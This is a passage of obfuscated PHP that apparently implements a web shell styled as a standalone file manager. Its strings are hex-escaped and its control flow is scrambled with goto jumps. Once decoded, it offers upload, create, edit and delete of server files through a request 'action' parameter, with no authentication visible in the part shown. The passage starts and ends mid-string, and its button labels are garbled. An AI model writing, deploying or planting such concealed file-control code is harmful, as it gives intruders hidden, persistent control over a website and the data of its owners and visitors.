165\x73\x74\x69\146\x79\55\143\x6f\x6e\x74\145\156\x74\x3a\163\160\x61\143\x65\x2d\142\x65\164\x77\145\x65\156\73\x61\154\151\147\156\x2d\x69\164\145\x6d\163\x3a\143\145\x6e\164\145\162\73\x66\x6c\x65\170\55\x73\150\162\x69\x6e\x6b\72\60\73\175\x6d\141\x69\x6e\x7b\146\154\x65\170\x2d\x67\x72\x6f\x77\x3a\61\x3b\x70\141\144\144\151\x6e\147\72\62\x30\160\x78\x3b\157\166\x65\162\146\154\157\167\x2d\171\x3a\x61\x75\x74\x6f\73\175\56\x74\x6f\157\x6c\142\141\x72\x7b\155\x61\162\147\x69\156\55\142\x6f\x74\164\157\x6d\x3a\61\x35\x70\170\73\144\x69\163\x70\x6c\x61\171\x3a\x66\154\x65\x78\x3b\146\154\x65\x78\55\x77\x72\x61\x70\72\167\162\141\160\73\147\x61\160\72\x31\x30\x70\x78\x3b\141\x6c\151\147\156\55\x69\x74\x65\x6d\163\x3a\143\145\x6e\x74\145\x72\x3b\175\x2e\160\141\164\x68\55\x62\x61\162\173\142\141\x63\x6b\147\x72\x6f\x75\156\144\x3a\x23\x66\146\x66\73\160\x61\144\x64\151\x6e\147\72\x38\x70\x78\x20\61\x32\160\x78\x3b\x62\x6f\162\144\145\162\x2d\x72\141\x64\x69\165\x73\x3a\64\x70\170\73\142\157\162\144\145\x72\72\61\x70\170\40\163\157\154\151\144\x20\43\144\x64\144\73\x66\x6f\x6e\164\55\x66\x61\155\151\x6c\171\72\x6d\x6f\x6e\157\163\x70\141\x63\145\x3b\x66\x6c\145\x78\x2d\x67\162\157\x77\x3a\61\x3b\x77\157\162\x64\x2d\142\x72\x65\x61\x6b\72\142\x72\145\x61\x6b\x2d\x61\x6c\x6c\73\175\56\146\x69\x6c\x65\x2d\x74\141\142\x6c\x65\173\x77\151\x64\x74\x68\72\x31\x30\x30\x25\73\142\x6f\162\144\145\162\55\x63\x6f\x6c\154\x61\160\163\145\x3a\x63\157\154\154\x61\x70\x73\145\x3b\x62\141\x63\x6b\x67\162\157\165\156\x64\x3a\43\x66\146\146\x3b\x74\141\142\154\x65\x2d\154\x61\x79\x6f\x75\x74\x3a\146\x69\170\x65\144\x3b\175\56\x66\151\154\x65\x2d\x74\x61\142\154\x65\x20\164\x68\54\56\x66\151\154\145\x2d\164\141\142\x6c\x65\x20\x74\144\x7b\x74\145\170\x74\x2d\141\154\151\147\x6e\72\154\x65\146\x74\x3b\x62\x6f\x72\x64\x65\x72\55\x62\x6f\x74\x74\x6f\x6d\72\61\x70\170\x20\163\x6f\x6c\151\x64\x20\43\145\x65\x65\x3b\166\x65\x72\164\x69\x63\x61\154\x2d\x61\154\x69\x67\x6e\72\x6d\x69\x64\x64\154\x65\x3b\167\x6f\x72\x64\55\167\x72\x61\160\x3a\142\162\145\141\x6b\x2d\x77\157\162\x64\73\175\56\146\151\x6c\145\55\x74\x61\142\x6c\145\x20\164\150\173\142\x61\x63\x6b\147\162\157\x75\x6e\144\72\x23\x66\x39\x66\71\x66\71\73\160\141\144\x64\x69\x6e\147\x3a\61\x32\x70\x78\x20\x38\x70\x78\x3b\x7d\56\146\x69\x6c\145\x2d\164\x61\x62\x6c\145\x20\164\x72\72\x68\x6f\x76\145\x72\173\x62\141\x63\153\x67\162\157\165\x6e\144\72\43\146\60\x66\x38\x66\x66\x3b\175\56\146\151\154\x65\x2d\x74\x61\142\x6c\145\40\164\x68\72\156\x74\150\55\143\150\151\x6c\144\x28\61\x29\54\56\x66\151\154\145\x2d\x74\141\x62\x6c\145\40\x74\x64\72\156\x74\x68\55\x63\x68\x69\x6c\x64\x28\61\51\x7b\x77\x69\x64\164\x68\x3a\64\60\160\170\73\x70\x61\144\144\151\156\x67\72\61\x32\160\x78\40\64\x70\x78\x20\61\62\160\170\x20\x31\62\160\170\73\x74\x65\170\164\x2d\x61\x6c\151\x67\x6e\72\x63\145\156\164\145\x72\73\175\x2e\146\151\x6c\x65\x2d\164\141\x62\154\x65\x20\164\x68\72\156\164\x68\x2d\143\150\x69\154\x64\x28\x32\x29\54\56\x66\x69\154\145\55\164\x61\142\154\145\x20\164\144\x3a\x6e\x74\x68\x2d\x63\x68\x69\x6c\144\50\62\51\x7b\167\151\144\164\x68\72\x35\60\x25\x3b\160\141\x64\144\151\x6e\147\55\x6c\145\146\x74\x3a\64\x70\170\x3b\x7d\x2e\x66\x69\x6c\145\x2d\x74\141\142\x6c\145\x20\164\x68\x3a\x6e\x74\150\x2d\x63\x68\x69\x6c\144\50\63\51\54\56\x66\x69\x6c\145\x2d\164\141\x62\154\145\x20\164\144\72\156\x74\x68\55\143\x68\x69\154\x64\50\x33\x29\173\x77\x69\x64\x74\150\72\61\x32\60\x70\170\x3b\x7d\56\x66\151\x6c\145\x2d\164\141\142\154\x65\x20\164\x68\x3a\x6e\164\x68\55\x63\150\151\154\144\50\x34\x29\54\x2e\x66\x69\x6c\x65\x2d\164\141\x62\x6c\145\x20\x74\144\72\156\x74\150\x2d\x63\x68\x69\x6c\144\50\x34\x29\173\x77\151\x64\164\150\x3a\61\x35\60\x70\170\73\x7d\56\146\x69\x6c\145\x2d\164\x61\142\x6c\145\40\164\x68\x3a\x6e\164\150\55\143\150\151\154\x64\50\x35\x29\173\164\x65\170\164\55\141\154\x69\x67\x6e\72\x72\151\147\150\x74\73\160\141\144\x64\x69\x6e\x67\55\162\151\x67\150\x74\x3a\61\62\x70\x78\73\175\x2e\141\143\164\x69\157\156\163\x7b\x64\x69\163\160\x6c\141\x79\x3a\146\x6c\x65\x78\x3b\152\x75\163\164\x69\146\171\x2d\x63\x6f\x6e\x74\145\156\x74\72\146\x6c\x65\x78\55\145\x6e\x64\73\x67\141\x70\72\x35\160\170\73\175\56\x69\x74\x65\155\55\154\x69\156\x6b\x2c\141\x2e\x69\164\145\155\x2d\154\151\x6e\153\x7b\164\x65\170\x74\55\144\x65\143\x6f\x72\x61\x74\151\157\156\x3a\x6e\157\x6e\145\x21\x69\x6d\x70\157\x72\164\141\156\x74\x3b\x63\x6f\x6c\157\162\72\166\x61\x72\50\55\x2d\x61\x63\x63\x65\x6e\164\x2d\x63\157\154\157\162\51\73\x63\x75\162\x73\x6f\162\72\x70\157\151\156\x74\x65\162\x3b\175\56\151\x74\x65\x6d\55\154\151\156\x6b\72\150\x6f\x76\x65\x72\54\x61\x2e\x69\164\145\155\x2d\154\151\156\x6b\72\150\157\166\145\x72\x7b\143\157\x6c\x6f\x72\x3a\166\x61\x72\50\55\x2d\150\157\x76\145\x72\x2d\143\157\154\157\162\51\73\175\x74\x72\x5b\144\141\164\141\55\160\141\164\150\x5d\x7b\x63\165\162\163\157\162\72\x70\x6f\x69\x6e\164\145\162\x3b\175\x2e\142\165\x74\164\157\x6e\x7b\x62\x61\143\153\147\162\157\165\x6e\x64\72\166\x61\162\50\x2d\55\141\143\143\x65\156\x74\55\143\x6f\154\x6f\x72\51\73\x63\157\154\157\x72\x3a\x77\x68\x69\x74\145\73\x62\157\x72\x64\x65\x72\72\x6e\x6f\156\x65\73\160\x61\x64\144\151\x6e\x67\x3a\70\x70\x78\x20\x31\62\160\170\73\142\x6f\162\144\145\162\55\x72\x61\144\151\x75\163\x3a\63\x70\170\73\143\165\162\163\157\162\72\160\157\x69\156\164\145\162\73\x66\x6f\156\x74\55\x73\151\x7a\x65\72\x31\x34\160\x78\x3b\x7d\56\142\x75\164\164\157\x6e\56\x64\x61\156\x67\x65\x72\173\x62\x61\x63\153\147\x72\157\165\156\144\x3a\166\141\162\50\55\55\144\141\156\x67\x65\x72\x2d\x63\157\x6c\157\162\51\x3b\x7d\43\163\x70\x69\x6e\x6e\x65\x72\173\144\x69\163\160\154\x61\x79\72\x6e\x6f\x6e\x65\73\175\x2e\155\157\144\141\154\x2d\157\x76\x65\162\x6c\x61\171\173\144\x69\163\x70\x6c\141\x79\72\x6e\157\x6e\x65\73\160\x6f\x73\151\x74\x69\x6f\156\72\146\x69\170\145\144\x3b\164\157\x70\72\x30\73\x6c\x65\146\164\72\x30\x3b\x77\x69\144\x74\150\72\x31\60\60\45\x3b\x68\145\151\x67\x68\164\72\61\x30\60\45\73\x62\x61\x63\x6b\147\162\x6f\165\156\x64\72\162\147\142\x61\x28\60\x2c\60\x2c\60\x2c\x30\56\x36\x29\x3b\x7a\55\151\x6e\x64\x65\170\x3a\61\x30\60\x30\73\152\165\163\x74\151\146\171\x2d\x63\x6f\x6e\x74\x65\x6e\164\72\143\x65\x6e\164\145\x72\x3b\x61\154\151\147\x6e\x2d\151\x74\145\x6d\163\x3a\143\145\156\x74\145\162\x3b\x7d\56\155\157\144\x61\154\x2d\143\x6f\156\164\x65\156\164\x7b\144\x69\163\160\154\x61\x79\72\146\x6c\145\170\x3b\146\154\145\x78\55\144\x69\162\145\143\x74\x69\x6f\156\x3a\x63\x6f\x6c\165\155\x6e\73\142\x61\143\153\x67\162\x6f\165\x6e\144\72\x23\146\x66\146\x3b\160\141\144\144\151\156\147\72\62\x30\160\x78\x3b\142\x6f\162\x64\145\x72\x2d\162\x61\144\151\x75\x73\x3a\65\x70\x78\73\167\151\x64\x74\x68\x3a\70\60\x25\73\x68\145\151\x67\x68\x74\72\70\60\x25\x3b\x6d\141\170\x2d\167\151\x64\x74\150\72\x39\x30\60\160\x78\x3b\142\157\x78\55\x73\150\x61\144\157\x77\72\60\x20\65\160\170\40\x31\x35\160\x78\40\x72\x67\x62\x61\50\60\x2c\60\54\x30\54\60\x2e\x33\x29\73\x7d\x74\145\170\164\x61\x72\145\141\43\145\x64\x69\164\x6f\x72\x7b\x66\x6c\x65\170\55\147\162\157\167\x3a\61\73\x66\157\156\x74\x2d\146\x61\155\151\154\x79\72\x6d\x6f\156\x6f\x73\160\141\x63\x65\73\x66\x6f\x6e\164\x2d\x73\x69\x7a\145\x3a\x31\64\x70\x78\x3b\142\157\x72\144\145\x72\72\61\160\x78\40\x73\x6f\x6c\x69\144\x20\x23\144\x64\144\73\x70\141\x64\144\x69\x6e\147\72\61\x30\x70\x78\73\175\12\x20\40\40\x20\74\57\163\x74\x79\x6c\x65\x3e\xa\x3c\57\150\145\x61\x64\x3e\12\x3c\142\x6f\x64\x79\76\xa\x20\40\40\x20\74\x64\151\166\x20\x63\154\141\x73\x73\75\x22\143\x6f\156\164\141\151\x6e\145\162\42\76\xa\x20\40\x20\x20\40\x20\40\x20\x3c\x68\145\x61\144\145\162\76\74\150\x33\x3e\x46\x69\154\x65\40\x4d\x61\x6e\141\x67\x65\162\x20\50\x53\x74\141\156\x64\141\x6c\157\x6e\145\51\x3c\x2f\x68\x33\76\74\x2f\x68\x65\141\144\x65\162\76\xa\40\40\40\40\40\40\x20\40\74\x6d\141\151\x6e\76\12\40\40\x20\40\40\x20\x20\x20\x20\40\40\x20\74\x64\x69\166\x20\x63\154\x61\163\163\75\42\164\157\157\154\142\141\x72\x22\x3e\74\x62\165\x74\164\x6f\156\40\x63\154\x61\x73\163\x3d\42\142\165\x74\164\x6f\156\x22\40\x69\144\x3d\42\x75\x70\154\x6f\141\x64\x42\164\156\x22\x3e\xc3\203\302\xa2\xc3\202\302\254\303\202\xc2\x86\xc3\203\302\xaf\303\202\302\xb8\xc3\x82\302\x8f\x20\125\x70\x6c\x6f\141\144\74\x2f\x62\165\164\164\157\x6e\76\x3c\142\165\x74\164\x6f\x6e\x20\x63\154\x61\163\x73\x3d\x22\142\x75\164\x74\157\x6e\x22\x20\151\x64\x3d\x22\x6e\145\x77\106\x69\154\145\x42\164\156\x22\x3e\xc3\203\302\xb0\303\x82\xc2\x9f\xc3\202\302\x93\303\202\302\x84\40\116\x65\x77\x20\x46\x69\x6c\145\x3c\x2f\142\x75\x74\164\x6f\x6e\x3e\x3c\x62\165\164\x74\157\156\40\143\x6c\x61\x73\x73\x3d\42\142\x75\164\164\x6f\156\x22\40\151\x64\75\42\156\145\167\106\x6f\x6c\x64\145\162\x42\x74\x6e\x22\x3e\xc3\x83\xc2\242\xc3\202\xc2\236\303\202\xc2\x95\x20\116\x65\x77\40\x46\157\x6c\x64\x65\162\x3c\x2f\x62\165\x74\164\x6f\156\x3e\x3c\142\165\164\164\x6f\156\x20\x63\154\141\x73\163\75\42\x62\165\164\x74\157\x6e\40\144\x61\156\147\x65\162\42\x20\151\144\x3d\42\144\145\x6c\x65\x74\x65\102\164\x6e\42\76\xc3\x83\302\xb0\303\202\302\x9f\xc3\x82\xc2\227\xc3\x82\xc2\x91\303\x83\302\257\xc3\202\xc2\xb8\303\x82\xc2\x8f\x20\104\145\x6c\145\164\145\40\x53\x65\x6c\145\143\164\145\x64\74\x2f\x62\x75\164\x74\x6f\x6e\76\74\x64\151\x76\x20\x69\144\75\42\x73\160\151\156\x6e\x65\x72\42\76\303\x83\302\xb0\303\202\302\237\303\202\xc2\225\xc3\202\302\x92\x3c\x2f\144\151\166\76\x3c\57\x64\x69\x76\x3e\xa\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x3c\144\151\166\x20\143\x6c\141\163\163\75\42\164\157\157\x6c\142\141\x72\42\x3e\74\144\151\166\x20\x63\154\141\x73\163\x3d\x22\x70\x61\164\150\x2d\142\141\162\42\x20\x69\144\x3d\42\x70\141\164\150\102\141\x72\42\x3e\57\x3c\x2f\144\151\166\x3e\x3c\57\144\x69\x76\x3e\12\x20\40\x20\40\x20\40\40\x20\40\40\40\40\x3c\x74\x61\x62\x6c\x65\40\x63\x6c\141\x73\x73\x3d\x22\146\x69\154\145\x2d\x74\x61\142\x6c\145\42\76\x3c\164\x68\x65\141\x64\76\74\x74\162\76\x3c\x74\x68\x3e\74\x69\156\160\165\x74\x20\164\x79\160\x65\x3d\x22\143\150\145\143\153\142\157\170\42\40\151\x64\75\42\163\x65\x6c\x65\x63\x74\101\154\x6c\x22\x3e\74\x2f\164\150\x3e\x3c\x74\150\x3e\116\141\155\145\74\57\x74\150\x3e\74\164\150\x3e\x53\151\172\x65\74\x2f\164\x68\76\74\164\x68\76\115\157\x64\x69\146\x69\x65\x64\x3c\57\164\x68\76\x3c\x74\x68\76\101\x63\x74\x69\157\156\x73\x3c\57\x74\x68\76\74\x2f\164\x72\x3e\74\57\x74\150\145\x61\x64\76\x3c\x74\x62\157\144\171\x20\151\144\75\x22\x66\151\x6c\145\114\151\163\164\42\x3e\x3c\57\164\142\x6f\144\171\x3e\x3c\57\x74\141\x62\154\145\x3e\xa\40\40\x20\40\x20\40\40\40\x3c\57\x6d\x61\151\156\76\xa\x20\40\x20\40\x3c\x2f\x64\x69\x76\76\12\x20\x20\40\40\74\x64\151\166\x20\151\x64\75\42\x65\x64\151\164\x6f\x72\x4d\x6f\x64\141\154\x22\40\143\154\x61\x73\163\x3d\x22\x6d\x6f\144\x61\154\x2d\x6f\166\x65\162\154\x61\x79\42\x3e\74\x64\151\166\40\143\x6c\141\x73\x73\x3d\x22\x6d\157\144\141\154\55\x63\x6f\156\x74\145\x6e\x74\42\x3e\x3c\150\x33\x20\151\144\75\x22\145\x64\x69\x74\157\162\x46\151\154\145\156\141\x6d\x65\x22\x20\x73\x74\x79\x6c\145\75\x22\155\x61\x72\x67\151\x6e\x2d\x74\157\x70\x3a\x30\x3b\42\x3e\x3c\57\150\63\76\74\x74\145\x78\164\x61\162\x65\x61\x20\x69\144\75\x22\145\x64\151\164\x6f\x72\x22\40\x73\160\145\154\154\143\150\x65\143\153\x3d\42\146\141\x6c\x73\145\42\x3e\x3c\x2f\x74\145\170\164\141\162\145\x61\76\74\x64\151\166\x20\x73\164\x79\154\145\x3d\42\x6d\141\x72\x67\x69\x6e\55\x74\x6f\x70\72\61\x30\x70\170\73\42\76\74\x62\165\x74\x74\157\x6e\x20\x63\154\x61\163\x73\x3d\42\142\165\x74\x74\x6f\156\42\x20\151\x64\x3d\42\x73\x61\166\145\x42\164\156\42\x3e\xc3\203\xc2\260\xc3\202\302\237\xc3\x82\xc2\x92\303\x82\xc2\276\x20\123\141\166\145\40\103\x68\x61\x6e\147\x65\163\74\57\x62\x75\x74\164\157\x6e\x3e\x3c\142\x75\x74\164\157\x6e\x20\143\154\x61\163\x73\75\x22\142\165\164\164\157\x6e\x22\x20\x6f\x6e\x63\x6c\151\x63\x6b\75\42\144\x6f\x63\x75\x6d\145\x6e\164\x2e\147\x65\164\105\154\145\x6d\x65\x6e\164\x42\171\111\x64\x28\47\145\x64\151\x74\x6f\162\115\x6f\x64\x61\x6c\x27\x29\56\163\164\x79\x6c\145\x2e\144\151\x73\x70\154\x61\171\x3d\47\156\157\x6e\145\47\x22\x3e\103\154\157\x73\x65\74\57\142\165\x74\x74\157\x6e\76\x3c\x2f\x64\x69\x76\x3e\x3c\57\x64\x69\x76\x3e\74\57\x64\151\166\x3e\xa\40\x20\40\40\74\151\x6e\160\x75\x74\40\164\171\160\x65\75\x22\x66\x69\154\145\42\x20\x69\144\x3d\42\x68\151\144\x64\145\156\x46\151\x6c\x65\x49\156\160\165\x74\x22\x20\155\165\154\164\x69\x70\x6c\x65\40\163\x74\171\154\145\75\42\144\151\x73\x70\x6c\141\x79\x3a\156\x6f\156\x65\73\x22\x3e\12\x20\x20\40\40\x3c\x73\x63\x72\151\160\x74\x3e\12\x20\x20\40\40\x64\157\143\165\155\145\156\164\x2e\141\144\144\105\x76\x65\156\x74\x4c\151\x73\164\x65\x6e\145\162\50\47\104\x4f\x4d\x43\x6f\x6e\164\145\x6e\164\114\x6f\x61\144\145\x64\x27\54\x20\50\51\40\75\x3e\x20\173\xa\40\40\40\40\x20\x20\40\x20\x63\x6f\x6e\163\164\x20\123\124\x41\124\x45\40\75\x20\x7b\40\x63\165\x72\x72\145\156\164\120\x61\x74\150\72\x20\x27"; goto IsiIo; uPesl: goto tV4yt; goto Gbq3o; wI7GV: header("\x43\x6f\x6e\x74\x65\156\x74\55\x54\x79\160\x65\72\40\x61\160\160\x6c\151\x63\141\164\151\157\x6e\57\152\x73\157\156\73\x20\x63\x68\141\162\x73\x65\164\75\165\x74\146\55\x38"); goto rHu0N; aG1K5: goto XIQRd; goto Mx24V; AUw65: goto oFG4U; goto n9ex7; otqra: a7zOT: goto KxLEw; lTlM_: goto Rg4_D; goto cvDUC; Mnqj_: goto SnMAy; goto tfDW2; S1tJD: D5531: goto swxg3; tCc0r: ofL0d: goto PN4cA; cvDUC: tV4yt: goto cJp7g; wXtai: goto a7zOT; goto S1tJD; poY86: goto oOkSB; goto mnSlU; uYMYF: yr0CT: goto HD0bn; Mzc0k: goto gJGdW; goto BLz2B; q_h60: echo basename(__FILE__); goto l1hAx; FjCWH: if (isset($_REQUEST["\x61\143\164\x69\157\x6e"])) { goto vrtWz; } goto poY86; GMF14: goto yr0CT; goto tCc0r; Q3Qw6: iGUgg: goto RJTMn; mnSlU: vrtWz: goto IbOCD; lT7bp: echo sLJGC(__DIR__); goto Mzc0k; RJTMn: function sljgc($cHCRi) { return str_replace("\134", "\x2f", $cHCRi); } goto wXtai; PN4cA: function uBPoW($cHCRi) { return realpath($cHCRi) !== false || is_dir(dirname($cHCRi)); } goto W3B1n; tfDW2: IprUn: goto VaR8z; viYp2: gJGdW: goto zBYHG; BLz2B: kboOq: goto wI7GV; Mlz50: FWO04: goto wYYq0; wYYq0: function JgqOW($V0Hw9) { return is_string($V0Hw9) ? stripslashes($V0Hw9) : $V0Hw9; } goto n3drS; K7Sp2: exit; goto AUw65; n9ex7: XIQRd: goto q_h60; n3drS: goto iGUgg; goto fNMEs; KxLEw: function HZxKU($Ee14P) { goto vE5d5; Zzqtj: $Ee14P = preg_replace("\57\x5c\163\53\57", "\137", $Ee14P); goto WZx0Y; vE5d5: goto tLb3L; goto SNh_u; WZx0Y: goto AM0L2; goto wgu6w; wgu6w: WyZpZ: goto nA3nt; h7Qja: tLb3L: goto yPQLZ; NShQi: goto vxKUe; goto wr51u; fbeO0: y3CkF: goto H3dNH; yPQLZ: $O_Fjz = ["\42", "\x27", "\46", "\57", "\x5c", "\77", "\43", "\74", "\x3e", "\x7c", "\x3a", "\52"]; goto BAkYx; SNh_u: AM0L2: goto E301x; Tt6S9: goto WyZpZ; goto znLQG; H3dNH: $Ee14P = str_replace($O_Fjz, '', $Ee14P); goto Tt6S9; znLQG: vxKUe: goto unjAQ; BAkYx: goto y3CkF; goto fbeO0; wr51u: xFo7V: goto Zzqtj; dFc9c: goto xFo7V; goto h7Qja; E301x: return $Ee14P; goto NShQi; nA3nt: $Ee14P = trim($Ee14P); goto dFc9c; unjAQ: } goto MJcXn; Mx24V: SnMAy: goto RRZEi; Fr5TV: $YQ0h3 = ["\x73\x75\143\143\145\163\163" => false, "\155\x65\163\x73\141\x67\x65" => "\111\x6e\x76\x61\154\151\x64\40\141\x63\164\x69\157\156\x2e"]; goto Mnqj_; jau04: goto xMzJb; goto etown; IbOCD: goto kboOq; goto Mlz50; swxg3: $uTRc2 = $_REQUEST["\141\143\x74\151\157\156"]; goto jau04; l1hAx: goto IprUn; goto iFkVP; Gbq3o: xMzJb: goto Fr5TV; rHu0N: goto ofL0d; goto pKQIV; etown: T7uBb: goto K7Sp2; VR3Wa: goto FWO04; goto otqra; Ni_Gf: goto T7uBb; goto viYp2; vYkzj: oOkSB: goto uPesl; IsiIo: goto Q6n1Z; goto Q3Qw6; zBYHG: echo "\47\40\175\73\12\40\40\40\40\x20\x20\x20\40\143\x6f\156\163\164\40\x55\x50\114\117\101\104\x5f\114\111\x4d\x49\x54\137\115\x42\x20\75\40\x38\x3b\12\x20\x20\x20\x20\x20\x20\x20\40\x63\157\x6e\163\164\40\x64\x6f\155\x20\75\x20\173\40\x66\x69\154\145\114\151\163\164\72\144\x6f\x63\x75\155\x65\x6e\x74\56\147\x65\x74\105\x6c\x65\155\x65\156\164\x42\171\x49\x64\50\47\x66\151\x6c\x65\x4c\x69\x73\x74\x27\51\x2c\x70\141\x74\x68\102\x61\162\72\x64\157\x63\x75\x6d\145\156\164\56\x67\x65\164\x45\154\x65\155\145\x6e\164\x42\171\x49\144\x28\x27\160\x61\x74\150\102\x61\162\x27\51\54\165\x70\154\x6f\141\x64\102\164\x6e\72\x64\x6f\x63\x75\x6d\145\156\164\x2e\147\x65\x74\105\x6c\x65\x6d\x65\x6e\x74\102\x79\111\144\50\x27\165\x70\154\157\141\144\x42\164\156\47\51\x2c\x6e\145\167\x46\151\x6c\x65\102\x74\156\x3a\x64\157\143\x75\x6d\x65\156\x74\56\147\145\164\105\154\145\155\145\x6e\164\102\171\x49\x64\50\47\156\x65\x77\x46\151\154\x65\x42\x74\x6e\47\x29\x2c\156\x65\167\x46\x6f\x6c\144\145\x72\x42\x74\x6e\x3a\144\x6f\x63\x75\x6d\145\156\164\x2e\147\x65\164\x45\x6c\x65\x6d\x65\156\x74\102\171\111\x64\x28\47\156\145\167\106\157\154\144\145\162\102\x74\x6e\47\x29\x2c\144\x65\x6c\x65\x74\x65\x42\164\x6e\x3a\x64\x6f\143\165\155\x65\156\164\56\147\145\164\x45\x6c\145\155\145\x6e\x74\102\x79\111\x64\x28\x27\x64\x65\x6c\x65\x74\145\x42\x74\156\47\x29\x2c\x73\x65\x6c\145\143\164\x41\x6c\x6c\x3a\144\x6f\143\165\x6d\145\x6e\164\56\147\x65\164\105\x6c\145\x6d\145\156\x74\102\x79\111\x64\x28\47\163\x65\x6c\145\x63\x74\x41\154\154\47\51\x2c\163\160\151\156\x6e\145\x72\72\x64\x6f\143\165\x6d\x65\156\x74\x2e\147\145\164\105\x6c\x65\155\145\x6e\164\102\x79\111\x64\50\x27\x73\x70\151\x6e\x6e\x65\162\47\x29\54\x68\x69\x64\x64\x65\x6e\106\x69\154\145\x49\x6e\160\165\x74\72\144\x6f\143\165\x6d\145\x6e\164\56\147\145\x74\x45\154\145\x6d\x65\156\164\x42\x79\111\144\x28\47\x68\151\x64\144\145\x6e\x46\x69\x6c\145\x49\156\x70\x75\164\47\x29\54\145\144\151\x74\157\162\x4d\157\x64\x61\x6c\72\144\157\143\165\155\145\156\164\x2e\x67\x65\164\105\x6c\x65\x6d\145\156\164\x42\171\111\144\x28\47\x65\x64\x69\164\x6f\x72\115\x6f\x64\x61\154\x27\x29\x2c\x65\144\x69\x74\157\162\106\151\x6c\x65\x6e\x61\x6d\x65\72\x64\x6f\143\165\x6d\145\156\164\56\x67\x65\x74\105\x6c\x65\x6d\145\156\x74\102\x79\111\x64\50\47\145\144\151\x74\157\x72\106\x69\x6c\145\156\141\155\x65\x27\51\54\145\144\151\x74\x6f\x72\72\144\157\143\165\x6d\145\x6e\x74\x2e\147\x65\164\105\x6c\x65\x6d\145\156\164\x42\x79\111\144\50\47\145\x64\151\164\x6f\x72\47\51\54\x73\141\166\145\102\x74\156\72\x64\157\x63\165\x6d\145\x6e\x74\x2e\x67\x65\x74\105\154\x65\155\x65\x6e\164\x42\171\111\x64\50\47\x73\141\166\x65\x42\164\156\47\51\x2c\x7d\x3b\xa\x20\40\x20\40\40\x20\x20\40\xa\40\x20\x20\x20\x20\40\40\40\141\163\171\156\143\40\x66\165\x6e\x63\x74\x69\x6f\x6e\40\141\x70\x69\x43\141\154\x6c\50\141\x63\164\151\x6f\156\54\x20\x66\157\162\155\x44\141\164\x61\x2c\x20\x73\150\157\167\123\x75\x63\x63\145\163\x73\x3d\146\141\154\163\x65\51\40\173\xa\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\144\x6f\x6d\56\x73\x70\151\x6e\156\145\x72\56\x73\164\x79\154\x65\x2e\144\151\163\160\154\141\171\75\47\151\x6e\x6c\x69\x6e\145\x2d\142\154\157\143\x6b\x27\73\xa\x20\40\40\40\40\x20\40\40\x20\x20\x20\x20\164\x72\x79\40\173\40\146\x6f\x72\x6d\x44\x61\x74\141\x2e\x61\x70\160\145\x6e\144\50\47\x61\143\x74\x69\x6f\x6e\x27\x2c\40\x61\x63\x74\151\157\x6e\x29\73\40\x63\157\x6e\x73\164\x20\x72\145\163\x70\157\x6e\163\145\40\75\x20\x61\167\x61\151\164\40\x66\145\x74\143\x68\x28\x27"; goto aG1K5; MJcXn: goto DSBCn; goto uYMYF; VaR8z: echo "\47\x2c\x20\173\x20\x6d\x65\164\x68\157\x64\72\x20\x27\x50\117\x53\x54\x27\54\x20\x62\157\x64\171\x3a\40\x66\157\162\155\104\141\164\141\x20\175\51\x3b\40\x63\x6f\x6e\163\164\x20\162\145\163\x75\x6c\164\40\x3d\x20\141\x77\x61\x69\164\x20\162\145\x73\x70\157\156\163\145\56\x6a\163\157\156\x28\x29\73\40\x69\146\40\50\x21\x72\x65\x73\x75\x6c\x74\56\x73\165\x63\x63\x65\163\163\51\x20\x74\x68\162\157\x77\x20\x6e\x65\167\40\x45\162\162\157\x72\x28\x72\x65\163\x75\x6c\x74\56\155\x65\163\163\x61\147\x65\x29\73\x20\151\146\x20\x28\x73\150\157\x77\x53\165\143\x63\145\x73\x73\40\x26\46\40\162\145\163\x75\x6c\x74\x2e\155\x65\163\163\x61\x67\145\51\40\x61\154\x65\162\164\50\162\145\163\x75\x6c\x74\x2e\155\x65\163\x73\141\147\x65\x29\x3b\40\x72\145\164\165\x72\x6e\40\x72\145\x73\165\x6c\164\73\xa\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x7d\x20\x63\x61\x74\x63\150\x20\50\x65\162\162\157\x72\51\x20\x7b\x20\141\154\145\162\x74\x28\140\105\x72\162\157\162\x3a\x20\44\x7b\x65\x72\162\157\162\56\x6d\145\x73\163\141\x67\145\175\x60\x29\x3b\x20\x63\157\x6e\x73\x6f\154\x65\x2e\145\x72\x72\x6f\162\50\42\x46\x75\x6c\x6c\40\x72\x65\163\x70\x6f\x6e\x73\x65\72\x22\x2c\x20\145\162\162\157\162\x2e\x72\x65\163\160\x6f\x6e\163\145\x29\73\40\x72\x65\x74\x75\162\x6e\x20\x6e\165\x6c\x6c\x3b\x20\175\x20\146\x69\x6e\141\154\x6c\x79\40\173\40\x64\157\x6d\x2e\163\160\x69\156\156\145\x72\56\163\x74\171\154\145\x2e\144\151\x73\160\x6c\x61\x79\x3d\x27\156\157\156\x65\47\x3b\40\x7d\xa\x20\x20\x20\x20\x20\40\40\x20\175\12\x20\x20\x20\40\x20\x20\x20\x20\146\165\x6e\x63\164\151\x6f\x6e\x20\162\145\156\x64\145\162\50\51\40\173\12\40\40\x20\40\x20\x20\x20\40\x20\40\40\40\x63\x6f\156\x73\x74\40\x66\157\162\x6d\104\x61\x74\x61\x20\75\x20\x6e\145\167\40\106\157\x72\155\x44\x61\x74\x61\x28\51\x3b\x20\x66\x6f\162\x6d\x44\141\164\x61\56\141\x70\x70\x65\x6e\x64\50\47\x70\141\164\x68\x27\x2c\40\x53\x54\x41\124\105\56\x63\x75\x72\162\x65\x6e\164\x50\141\164\150\x29\73\12\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\141\160\151\103\141\154\x6c\50\47\x6c\151\163\x74\x27\x2c\40\x66\x6f\162\x6d\104\141\164\x61\x29\x2e\x74\150\145\x6e\50\162\145\163\165\154\164\40\x3d\x3e\x20\x7b\xa\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\151\146\x20\x28\x21\x72\x65\163\165\154\164\x29\x20\162\145\164\x75\162\156\x3b\xa\x20\40\x20\40\x20\x20\40\x20\40\40\x20\40\x20\40\40\x20\123\124\x41\x54\x45\56\143\165\162\x72\x65\x6e\164\x50\x61\164\150\x20\x3d\40\162\x65\x73\165\x6c\164\x2e\160\141\x74\x68\73\40\x64\157\x6d\56\x70\141\164\x68\x42\141\162\56\x74\145\170\164\103\157\156\164\145\156\164\40\75\40\123\x54\x41\124\105\56\143\x75\x72\x72\145\x6e\x74\120\x61\x74\x68\73\40\154\145\x74\40\x68\164\x6d\x6c\x20\x3d\40\